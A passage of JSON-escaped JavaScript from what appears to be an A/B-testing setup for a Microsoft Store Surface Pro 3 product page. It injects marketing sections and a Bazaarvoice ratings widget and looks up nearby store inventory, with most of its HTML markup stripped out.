\"position:absolute;top:-1000px\";\n // Getting specific on the CSS selector so it won't get overridden easily\n divElement.innerHTML = \"\";\n bodyElement.appendChild(divElement);\n documentElement.insertBefore(bodyElement, document.head);\n\n mediaMatchesClientWidth = (divElement.offsetWidth == 7);\n\n // Cleanup\n documentElement.removeChild(bodyElement);\n }\n\n if (mediaMatchesClientWidth) {\n // Media query matches document.documentElement.clientWidth\n width = documentElement.clientWidth;\n }\n else {\n // Media query didn't match, use window.innerWidth\n width = window.innerWidth;\n } \n }\n else {\n // Default to use window.innerWidth\n width = window.innerWidth;\n }\n return width;\n};\n\n/******* Sticky Nav **********/\nvar stickyNav = ['
    ',\n '
    ',\n '
    ',\n '
    ',\n '',\n '
    ',\n '',\n '
    ',\n '
    ',\n '',\n '
    ',\n '
    ',\n '

    Surface Pro 3

    ',\n '
    ',\n '',\n '
    ',\n '
    ',\n'
    '].join('\\n');\n\n$('#body').prepend(stickyNav);\n\n\n//Sticky Nav\nvar eTop = jQuery('.sticky-header').offset().top;\n\njQuery(window).bind('scroll.scrolldirection',function(event){\n\t(function() {\n\t\tif(eTop - jQuery(window).scrollTop() < 10){\n\t\t\tjQuery('.sticky-header').addClass('sticky');\n\t\t}\n\t\telse{\n\t\t\tjQuery('.sticky-header').removeClass('sticky');\n\t\t};\n\t})();\n});\n\n/**************** HERO *************/\nfunction getDefaultHeroImage(){\n var defaultHeroImage;\n\n if(expGetClientWidth() > 768){\n defaultHeroImage = $('.tier-one-hero div[data-viewport=desktop]').data('src');\n }\n else if(expGetClientWidth() > 541){\n defaultHeroImage = $('.tier-one-hero div[data-viewport=tablet]').data('src');\n }\n else{\n defaultHeroImage = $('.tier-one-hero div[data-viewport=mobile]').data('src');\n };\n \n return defaultHeroImage;\n};\n\nvar heroModule = ['
    ',\n '
    ',\n '
    ',\n '
    ',\n '',\n '
    ',\n '
    ',\n '',\n '
    ',\n '
    ',\n '',\n '
    ',\n '', \n '
    ',\n '
    ',\n '
    ',\n '

    The tablet that can replace your laptop

    ',\n '

    Weighing just 1.76 pounds, the 12-inch Surface Pro 3 has all the power and performance of a high-end laptop in a thin and lightweight design.

    ',\n '
    ',\n '
    ',\n '

    ',\n 'Starting at 
    $799.99

    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    ',\n '

    Compatible with: Windows Phone 8.1, Android, and iPhone.2To learn more text \"Band\" to 29502',\n '

     ',\n '

    ',\n '
    ',\n '
    ',\n \t'Buy now',\n '
    ',\n '
    ',\n '

    ',\n '

    Compatible with: Windows Phone 8.1, Android, and iPhone.2To learn more text \"Band\" to 29502',\n '

     ',\n '

    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    ',\n '

    Compatible with: Windows Phone 8.1, Android, and iPhone.2To learn more text \"Band\" to 29502',\n '

     ',\n '

    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n'
    '].join('\\n');\n\n$('#body .sticky-header').after(heroModule);\n\n$('.tier-one-hero .exp-swapimage').replaceWith('\"\"');\n\n/*************** Features *********************/\n$('#body .tier-one-hero').after('
    ');\n\nvar exploreFeatures = ['
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    '].join('\\n');\n\n$('#features').append(exploreFeatures);\n\n\n$('#compare').insertAfter($('#features section:eq(0)'));\n\n/*** Laptop Banner ***/\nfunction getDefaultLaptopImage(){\n var defaultHeroImage;\n\n if(expGetClientWidth() > 768){\n defaultHeroImage = $('#laptop_youve_wanted div[data-viewport=desktop]').data('src');\n }\n else if(expGetClientWidth() > 541){\n defaultHeroImage = $('#laptop_youve_wanted div[data-viewport=tablet]').data('src');\n }\n else{\n defaultHeroImage = $('#laptop_youve_wanted div[data-viewport=mobile]').data('src');\n };\n \n return defaultHeroImage;\n};\n\nvar laptopBanner = ['
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'

    The laptop you\u2019ve wanted

    ',\n\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    With Intel processors, speedy SSD storage, and a fully functional keyboard (Type Cover, sold seperately), Surface Pro 3 delivers all the power of a premium laptop. And it just gets better with a gorgeous 12-inch Full HD display and multi-position kickstand for working however you choose.

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    '].join('\\n');\n\n$('#features').append(laptopBanner);\t\t\t\t\t\n\t\t\t\t\t\n$('#laptop_youve_wanted .exp-swapimage').replaceWith('\"\"');\n\n\n/***** 3 Up Media Module ****/\nvar media3up = ['
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    \"Intel',\n\t\t\t\t\t\t\t\t\t'

    Intel Core power

    ',\n\t\t\t\t\t\t\t\t\t'

    Fourth-generation Intel Core processors (available with i3, i5, or i7) deliver incredibly fast performance and seamless graphics.',\n\t\t\t\t\t\t\t\t\t'

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    \"Load',\n\t\t\t\t\t\t\t\t\t'

    Load it up

    ',\n\t\t\t\t\t\t\t\t\t'

    From running heavy-duty creative programs to installing the full Microsoft Office suite1, Surface Pro 3 has the muscle to handle it all.

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    \"Port-tastic\"',\n\t\t\t\t\t\t\t\t\t'

    Port-tastic

    ',\n\t\t\t\t\t\t\t\t\t'

    Easily connect your peripherals and transfer files via a full-size USB 3.0, microSD card reader, and Mini DisplayPort.

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t'
    '].join('\\n');\n\n$('#features').append(media3up);\n\n\n/**** Tablet Trailblazer ****/\nfunction getDefaultTrailblazerImage(){\n var defaultHeroImage;\n\n if(expGetClientWidth() > 768){\n defaultHeroImage = $('#tablet_trailblazer div[data-viewport=desktop]').data('src');\n }\n else if(expGetClientWidth() > 541){\n defaultHeroImage = $('#tablet_trailblazer div[data-viewport=tablet]').data('src');\n }\n else{\n defaultHeroImage = $('#tablet_trailblazer div[data-viewport=mobile]').data('src');\n };\n \n return defaultHeroImage;\n};\n\nvar tablettrailblazer = ['
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'

    Be a tablet trailblazer

    ',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'

    Surface Pro 3 has the chops to handle both work and play, and does so without breaking a sweat. Feather-light and compact, it was designed to go, go, go. And its brilliant touchscreen is as great for movies as it is for taking notes and videoconferencing.

    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    '].join('\\n');\n\n$('#features').append(tablettrailblazer);\n\n$('#tablet_trailblazer .exp-swapimage').replaceWith('\"\"');\n\n\n\n/***** 3 Up Media Module ****/\nvar media3up_v2 = ['
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    \"Perfectly',\n\t\t\t\t\t\t\t\t\t'

    Perfectly portable

    ',\n\t\t\t\t\t\t\t\t\t'

    In your bag or under your arm, Surface Pro 3\\'s barely there weight and razor-thin profile make it a breeze to tote everywhere.',\n\t\t\t\t\t\t\t\t\t'

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    \"Power',\n\t\t\t\t\t\t\t\t\t'

    Power for hours

    ',\n\t\t\t\t\t\t\t\t\t'

    Up to 9 hours of battery life gives you plenty of juice for a full day in the office, on campus, or a transatlantic flight.

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    \"Show',\n\t\t\t\t\t\t\t\t\t'

    Show \\'em your good side

    ',\n\t\t\t\t\t\t\t\t\t'

    Take sharp and clear photos and always look your best for video chats with front and rear 5MP HD cameras.

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t'
    '].join('\\n');\n\n$('#features').append(media3up_v2);\n\n/*** Work Without Compromise Banner ***/\nfunction getDefaultWorkWithoutCompromiseImage(){\n var defaultHeroImage;\n\n if(expGetClientWidth() > 768){\n defaultHeroImage = $('#work_without_compromise div[data-viewport=desktop]').data('src');\n }\n else if(expGetClientWidth() > 541){\n defaultHeroImage = $('#work_without_compromise div[data-viewport=tablet]').data('src');\n }\n else{\n defaultHeroImage = $('#work_without_compromise div[data-viewport=mobile]').data('src');\n };\n \n return defaultHeroImage;\n};\n\nvar workWithoutCompromiseBanner = ['
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'

    Work without compromise

    ',\n\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Remember when you had to have a desktop or all-in-one to run Photoshop or InDesign? Not anymore. Surface Pro 3 comes with Windows 8.1 Pro, so you can have all your favorite full, powerful software without settling for watered-down tablet versions.

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    '].join('\\n');\n\n$('#features').append(workWithoutCompromiseBanner);\t\t\t\t\t\n\t\t\t\t\t\n$('#work_without_compromise .exp-swapimage').replaceWith('\"\"');\n\n\n/***** 3 Up Media Module ****/\nvar media3up_v3 = ['
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    \"Essential',\n\t\t\t\t\t\t\t\t\t'

    Essential apps

    ',\n\t\t\t\t\t\t\t\t\t'

    Surface Pro 3 has the apps you need built-in, like Skype, OneDrive, and Bing Smart Search. Find even more at the Windows Store.',\n\t\t\t\t\t\t\t\t\t'

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    \"Multitask',\n\t\t\t\t\t\t\t\t\t'

    Multitask like a champ

    ',\n\t\t\t\t\t\t\t\t\t'

    Keep up to three apps or programs open side by side onscreen at the same time and seamlessly switch between them.

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    \"It\\'s',\n\t\t\t\t\t\t\t\t\t'

    It\\'s a family affair

    ',\n\t\t\t\t\t\t\t\t\t'

    Multiple user accounts mean family members can personalize their space. And with the Family Safety feature, kids are always protected when online.

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t'
    '].join('\\n');\n\n$('#features').append(media3up_v3);\n\n\n\n/**** Write Touch ****/\nfunction getDefaultWriteTouchImage(){\n var defaultHeroImage;\n\n if(expGetClientWidth() > 768){\n defaultHeroImage = $('#thewritetouch div[data-viewport=desktop]').data('src');\n }\n else if(expGetClientWidth() > 541){\n defaultHeroImage = $('#thewritetouch div[data-viewport=tablet]').data('src');\n }\n else{\n defaultHeroImage = $('#thewritetouch div[data-viewport=mobile]').data('src');\n };\n \n return defaultHeroImage;\n};\n\nvar thewritetouch = ['
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'

    The write touch

    ',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'

    Behold the most natural writing and drawing experience on a tablet thanks to the Surface Pen. Write, draw, and paint onscreen just as you would on paper with this revolutionary pen, which is included with every Surface Pro 3.

    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    '].join('\\n');\n\n$('#features').append(thewritetouch);\n\n$('#thewritetouch .exp-swapimage').replaceWith('\"\"');\n\n/***** 3 Up Media Module ****/\nvar media3up_v4 = ['
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    \"One',\n\t\t\t\t\t\t\t\t\t'

    One click to OneNote

    ',\n\t\t\t\t\t\t\t\t\t'

    With a click of the Pen, a blank OneNote sheet is ready for quick notes or sketches, even if Surface Pro 3 is asleep.',\n\t\t\t\t\t\t\t\t\t'

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    \"Make',\n\t\t\t\t\t\t\t\t\t'

    Make easy edits

    ',\n\t\t\t\t\t\t\t\t\t'

    The right-click button on the side of the pen enables formatting options, while the erase button turns the pen tip into an eraser.

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    \"Palm',\n\t\t\t\t\t\t\t\t\t'

    Palm Block technology

    ',\n\t\t\t\t\t\t\t\t\t'

    Don\\'t worry about resting your hand on the screen. Palm-blocking technology ignores pressure from your hand, so you can write comfortably.

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t'
    '].join('\\n');\n\n$('#features').append(media3up_v4);\n\n/* Critics are saying */\nvar criticsAreSaying = ['
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'

    What critics are saying:

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    \"Named',\n\t\t\t\t\t\t\t\t\t\t\t'

    Named one of Time Magazine\u2019s \u201c25 best inventions of 2014\u201d

    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    \"Computer',\n\t\t\t\t\t\t\t\t\t\t\t'

    Computer of the year 2014 Stuff Gadget Awards winner

    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    \"Microsoft',\n\t\t\t\t\t\t\t\t\t\t\t'

    \"Microsoft Surface Pro 3 is the best everything device ever made.\"

    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'
    '].join('\\n');\n\n$('.new-pdp-hero').after(criticsAreSaying);\n\n\n/* Move Tech Specs & FAQ's */\n$('#faq').insertAfter('#ratingsandreviews');\n$('#techspecs').insertAfter('#ratingsandreviews');\n\n/* What's in the box */\nvar whatsInTheBox = ['
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'

    In the box:

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    \"Surface',\n\t\t\t\t\t\t\t\t\t\t\t'

    Surface Pro 3

    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    \"Surface',\n\t\t\t\t\t\t\t\t\t\t\t'

    Surface Pen 36-watt power supply

    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    \"Quick',\n\t\t\t\t\t\t\t\t\t\t\t'

    Quick start guide Safety & warranty documents

    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'
    '].join('\\n');\n\n$('#ratingsandreviews').after(whatsInTheBox);\n\n\n/* Surface Suggests */\n\nvar surfaceSuggests = ['
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    \"Save',\n\t\t\t\t\t\t\t\t\t'

    Save with a Surface Pro 3 Bundle

    ',\n\t\t\t\t\t\t\t\t\t'

    Shop now >',\n\t\t\t\t\t\t\t\t\t'

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    \"Protect',\n\t\t\t\t\t\t\t\t\t'

    Protect your Surface Pro 3

    ',\n\t\t\t\t\t\t\t\t\t'

    Shop Microsoft Complete >',\n\t\t\t\t\t\t\t\t\t'

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    \"Get',\n\t\t\t\t\t\t\t\t\t'

    Get great Surface accessories

    ',\n\t\t\t\t\t\t\t\t\t'

    Shop now >',\n\t\t\t\t\t\t\t\t\t'

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    '].join('\\n');\n\n$('#faq').after(surfaceSuggests);\n\n/**** PRODUCT TEXT ****/\n$('#product-footer .product-footer p:eq(0)').remove();\n\nvar surfaceFooterText = ['

    Surface

    ',\n\t\t\t\t\t\t\t'

    Can\\'t decide between a new tablet or laptop? Step up to Microsoft Surface, the device that goes from tablet to laptop in a snap. Surface 2 and Surface Pro 3 are great for staying productive and entertained from anywhere. Use Office to create Word documents, PowerPoint presentations, and Excel spreadsheets, or use Outlook to check your email. Stay in touch with family and friends on Skype, and store all your photos and videos with 1TB of OneDrive online storage. Surface is one of the best tablets around for surfing the Internet, playing games, or streaming movies and TV shows from popular sites like Netflix and Hulu.

    ',\n\t\t\t\t\t\t\t'

    The new Surface Pro 3 has a stunning 12-inch touchscreen display and your choice of the latest 4th-generation Intel Core i3, i5 or i7 processor. The Surface Pro 3 is a powerful laptop replacement that does everything a regular computer can \u2013 but it\\'s lighter and easier to carry around. Unlike MacBook Air, Surface Pro 3 comes with a revolutionary Surface Pen that delivers a natural writing and drawing experience. Surface 3 comes with solid state drive (SSD) options of 64GB, 128GB, 256GB, or 512GB.

    ',\n\t\t\t\t\t\t\t'

    Enhance your Surface experience and choose from a variety of Surface accessories, everything from a Surface Pro 3 docking station or keyboard for a laptop-like setup, to covers, totes, car chargers, pens, and tablet sleeves, adapters, flash drives and more.

    '].join('\\n');\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n$('#product-footer .product-footer').prepend(surfaceFooterText);\n\n\n\n/* Click Events */\njQuery('.sticky-header .dropdown-toggle').on('click', function(){\n jQuery(this).parent().addClass('open');\n});\n\njQuery(document.body).on(\"mouseup\", function (e) {\n if (jQuery(e.target).parents('.dropdown-toggle').length === 0) {\n jQuery('.sticky-header .drop-down-container').removeClass('open');\n }\n});\n\njQuery('.animate-anchor-link').smoothScroll();\n\n\njQuery.getScript(\n \"//display.ugc.bazaarvoice.com/static/MicrosoftStore/en_US/bvapi.js\",\n function () {\n $BV.ui('rr', 'inline_ratings', { productIds: { '300190600': { url: '#ratingsandreviews' } }, containerPrefix: 'BVRRInlineRating2' });\n }\n);\n\n\n$(function () {\n\n var $showHideBtn = jQuery('.show-hide-container'),\n showLessClass = 'show-less',\n showHideClosedClass = 'show-hide-closed',\n showHideOpenClass = 'show-hide-open';\n\n $showHideBtn.on('click', function () {\n var $parentContainer = $(this).closest('section');\n\n if ($parentContainer.hasClass(showHideClosedClass)) {\n $parentContainer.removeClass(showHideClosedClass);\n $parentContainer.addClass(showHideOpenClass);\n\n jQuery(this).addClass(showLessClass);\n } else {\n $parentContainer.removeClass(showHideOpenClass);\n $parentContainer.addClass(showHideClosedClass);\n\n jQuery(this).removeClass(showLessClass);\n }\n });\n});\n\n\n/* Update Compare Table */\njQuery('#compare .comparison-row.heading-row .first-col-static h3').text('Surface Pro 3 vs. MacBook Air');"},"2427680172":{},"2442370477":{},"2155830703":{},"2102253489":{"code":"/* _optimizely_evaluate=force */\n\n$('html').addClass('experiment-inventoryawareness 6.05');\nvar _storedataNearestArray = '',\n\t_storedataStoresById = '',\n\t_storedataStoreInventory = '',\n _decideWidth = window.innerWidth;\n\n/* _optimizely_evaluate=safe */\n\n\n\n\n$.extend({\n\tisUndefined: function(obj) {\n\t\treturn typeof(obj) == 'undefined' ? true : false;\n\t},\n\tisNull: function(obj) {\n\t\treturn obj == null ? true : false;\n\t},\n\tisUseable: function(obj) {\n\t\treturn $.isUndefined(obj) || $.isNull(obj) ? false : true;\n\t},\n\tgetObjProp: function(prop, attr) {\n\t\tvar key, arrOutput = [];\n\t\tvar toReturn = ($.isUseable(prop) ? prop : '');\n\t\tfor(key in attr){\n\t\t\tif(attr.hasOwnProperty(key)){\n\t\t\t\tarrOutput.push((toReturn === 'key' ? key : attr[key]));\n\t\t\t}\n\t\t}\n\t\treturn arrOutput.join(\", \");\t\n\t} \n});\n\njQuery.fn.extend({\n\tdefaultText: function() {\n\t\treturn this.each(function() {\n\t\t\tvar _this = $(this);\n\t\t\tvar _text = _this.attr('value');\n\t\t\t_this.addClass(\"defaultText\");\n\t\t\t_this.bind('focus', function(e) {\n\t\t\t\tvar focus = $(e.target);\n\t\t\t\tif(focus.attr('value') == _text) {\n\t\t\t\t\tfocus.attr('value', '');\n\t\t\t\t}\n\t\t\t\tfocus.removeClass(\"defaultText\");\n\t\t\t});\n\t\t\t\n\t\t\t_this.bind('blur', function(e) {\n\t\t\t\tvar blur = $(e.target);\n\t\t\t\tif(blur.attr('value') == '') {\n\t\t\t\t\tblur.attr('value', _text).addClass(\"defaultText\");\n\t\t\t\t}\n\t\t\t});\n\t\t});\n\t} \n});\n\n//Construct query to fetch store data\nfunction nearbyResults(){\n\tvar siteIdArray = '',\n\t\ti;\n\t\n if($.isUseable(_storedataNearestArray['result'])){\n \n if(_storedataNearestArray['result'].length){\n for(i=0;i<_storedataNearestArray['result'].length;i++){\n if([i] > 0){\n siteIdArray += '+OR+';\n };\n siteIdArray += 'SiteId+eq+' + _storedataNearestArray['result'][i]['SiteId'];\n };\n \n locationData().getdata({ \n siteidarray: siteIdArray, \n query: '_connStoresById', \n callback: storeInformationById \n });\t\n }\n else{ //No stores returned\n var errorMsg = ['
    ',\n '

    We\\'re certain it\\'s a nice town, but at the moment there are no Microsoft Stores near you.

    ',\n '
    '].join('\\n');\n \n $('.exp-storedataresults').html(errorMsg);\n \n //Hide loading message\n $('.exp-storeloadingmessage').addClass('hide'); \n \n };\n }\n else{\n var errorMsg = ['
    ',\n '

    Whoops, seems we\\'ve run into an error.

    ',\n '
    Please check the information you provided.
    ',\n '
    '].join('\\n');\n \n $('.exp-storedataresults').html(errorMsg);\n \n //Hide loading message\n $('.exp-storeloadingmessage').addClass('hide'); \n \n }\n};\n\nfunction storeInformationById(){\n $('.exp-storeloadingmessage p').html('Requesting inventory information.');\n \n var finalPid = _TM.baseids[0]; //Use base pid by default\n \n if($('.variation-container .selected-variation').length){ //If page has variations, pull from selected variation PID\n\t\tfinalPid = $('.variation-container li.active').data('pid');\n };\n \n\tlocationData().getdata({ \n\t\t\t\t\tpid: finalPid, \n\t\t\t\t\tquery: '_connInventory', \n\t\t\t\t\tcallback: storePresentation \n\t\t\t\t});\t\t\n\n};\n\nfunction storePresentation(){\n\t//_storedataStoreInventory['value']\n\tvar i, y,\n\t\thtmlTemplate = '';\n\t\t\n\tvar returnStoreHours = function(data){\n\t\tvar x,\n\t\t\thtmlTemplate = '',\n trimVal = '';\n \n var hourAbbreviations ={\n 'Monday': 'Mon',\n 'Tuesday': 'Tue',\n 'Wednesday':'Wed',\n 'Thursday':'Thu',\n 'Friday':'Fri',\n 'Saturday':'Sat',\n 'Sunday':'Sun'\n };\n \n var replaceText = $.getObjProp('key', hourAbbreviations).split(',');\n \n\t\t//Combine hours into HTML\n\t\tfor(x=0;x';\n\t\t};\n\t\t\n //Abbreviate hours\n for (var i = 0; i <= 6; i++) {\n trimVal = $.trim(replaceText[i]);\n htmlTemplate = htmlTemplate.replace(new RegExp('(' + trimVal + ')', 'i'), hourAbbreviations[trimVal]);\n }; \n \n\t\treturn htmlTemplate;\n\t};\n\t\n\tvar returnStockStatus = function(storeid){\n\t\tvar x,\n\t\t\tformattedstoreid = storeid.replace(/00/gi,'W0'),\n formattedinventorymessage = '';\n\t\t\t\n\t\tif(window._storedataStoreInventory['value'].length){\n\t\t\tfor(x=0;x',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
      ',\n\t\t\t\t\t\t\t\t\t'
    • ' + address + '
    • ',\n\t\t\t\t\t\t\t\t\t'
    • ' + address2 + '
    • ',\n\t\t\t\t\t\t\t\t\t'
    • ' + address3 + '
    • ',\n '
    • '+ city + ', ' + state + ' ' + zipcode + '
    • ', \n\t\t\t\t\t\t\t\t'
    ',\n '', \n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'Store hours',\n\t\t\t\t\t\t\t\t'
      ',\n\t\t\t\t\t\t\t\t\tformattedStoreHours,\n\t\t\t\t\t\t\t\t'
    ',\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t'' + storephone + '',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n '' + (storestockstatus ? storestockstatus : 'Not in Stock') + '',\n\t\t\t\t\t\t\t'
    ',\n '
